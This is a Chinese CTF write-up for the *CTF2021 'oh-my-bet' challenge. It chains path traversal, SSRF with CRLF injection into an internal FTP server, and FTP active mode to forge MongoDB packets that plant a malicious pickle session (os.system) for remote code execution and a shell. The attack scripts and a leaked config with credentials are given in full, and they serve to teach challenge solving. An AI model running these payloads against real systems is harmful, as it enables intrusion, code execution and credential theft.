*CTF2021 oh-my-bet

http://w4nder.top/?p=382

抓个包,发现头像处1.png,可以路径穿越

在这里插入图片描述

结果会保存在头像中

在这里插入图片描述

/app/utils.py

在这里插入图片描述

urllib请求,基本上是ssrf+crlf

/app/config.py

在这里插入图片描述

内网172.20.0.2 8877是个ftp,crlf看一下ftp文件可以得到config.json

ftp://fan:root@172.20.0.2:8877/files/config.json

看到172.20.0.5是mongodb,.3是mysql,.4是redis

{
 "secret_key":"f4545478ee86$%^&&%$#",
 "DEBUG": false,
 "SESSION_TYPE": "mongodb",
 "REMOTE_MONGO_IP": "172.20.0.5",
 "REMOTE_MONGO_PORT": 27017,
 "SESSION_MONGODB_DB": "admin",
 "SESSION_MONGODB_COLLECT": "sessions",
 "SESSION_PERMANENT": true,
 "SESSION_USE_SIGNER": false,
 "SESSION_KEY_PREFIX": "session:",
 "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
 "SQLALCHEMY_TRACK_MODIFICATIONS": true,
 "REDIS_URL": "redis://@172.20.0.4:6379/0"
}

并且session是flask_session,也就是说session是以序列化pickle的形式存储在mongo里
所以现在目的就是往mongodb中的session中插入恶意pickle数据,但是问题就是mongodb没有像ftp:// 一样的协议,不能直接用来ssrf。这里的打法也是让我学了一波

首先ftp有主动模式和被动模式一说,命令行使用如quote port 127,0,0,1,0,2233切换,主动模式可以远程请求一个服务器端口下载(STOR)和上传文件(RETR),如

import urllib.request
# Upload file
a = '''TYPE I
PORT 127,0,0,1,0,1888
STOR bb2.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)

这样crlf请求过去ftp就会启用主动模式,并从本地1888端口下载一个bb2.txt文件
在vps上起一个发送文件的socket

import socket
HOST = '0.0.0.0'  
PORT = 1888     
blocksize = 4096
fp = open('bb2.txt', 'rb')
s = socket.socket() 
s.bind((HOST, PORT))
print('start listen...')
s.listen(5)
conn, addr = s.accept()
while 1:
    buf = fp.read(blocksize)
    if not buf:
        fp.close()
        break
    conn.sendall(buf)
print('end.')

这样就能任意让ftp下载文件了
在这里插入图片描述

但是目标是通过ftp上传到mongo怎么实现,先ftp主动模式上传抓个包,还是用官方的脚本生成payload

import urllib.request
# Attack mongodb
a = '''TYPE I
PORT vps,0,27017
RETR test111.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)

这里可以看到ftp会把文件内容直接放到tcp流中来上传
在这里插入图片描述

那么在本地用pymongo模拟一下更新mongo里的文件,

#https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet
from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))
    return pickle.dumps(exp())
def get_mongo(cmd):
    client = MongoClient('localhost', 27017)
    coll = client.admin.sessions
    try:
        coll.update_one(
            {'id':'session:37386ce1-3fe8-4f1d-91fc-224581c5279f'},
            {"$set": { "val": get_pickle(cmd) }},
            upsert=True
        )
    except Exception as e:
        return e.message
if __name__ == '__main__':
    print(get_mongo('ls'))

本地起个docker抓一下
在这里插入图片描述

图中可以看到这一部分是关键的对mongodb更新的数据包,同样也是直接在tcp流中,那么我们如果在ftp中令发送的文件为这一串就是等效于通过ssrf ftp来操作mongo了

下一步就是生成文件,可以通过将raw数据包十六进制转换的方式,还有一种是这位师傅的

https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet

直接去pymongo源码里network.py找到发送数据的那一段,前面抛个异常就行了,我这里直接输出msg了(注意这里得用linux生成!免得踩坑了)

在这里插入图片描述
在这里插入图片描述

然后生成对应的文件,如下

在这里插入图片描述

改成弹shell的放到vps传到ftp,然后再将该文件发送到172.20.0.5 27017,变相更新了一次mongo

这时mongo里的数据就被改了

在这里插入图片描述

/readflag

在这里插入图片描述

ssrf脚本

# -*- coding:utf-8 -*-
import uuid
import re
import requests
sess=requests.session()
def get_source():
    res=sess.get(url+"/shake_and_dice")
    #print(res.headers)
    print(res.cookies)
    text=re.findall('<img src="data:image/png;base64,(.*?)" class="img-thumbnail".*?',res.text)
    if text:
        print("[+] Get source:")
        print(text)
    
def login(path):
    print("[+] Login")
    username=uuid.uuid4()
    data={
        'username':username,
        'password':username,
        'avatar':path,
        'submit':'Go!'
    }
    sess.post(url+'/login',data=data)
    
if __name__ == '__main__':
    url="http://192.168.134.132:8088/"
    login("ftp://fan:root@172.20.0.2:8877/")
    get_source()

https://github.com/sixstars/starctf2021/blob/main/web-oh-my-bet/oh-my-bet-ZH.md

https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet

posted @ 2021-01-24 22:47  W4nder  阅读(363)  评论(6编辑  收藏  举报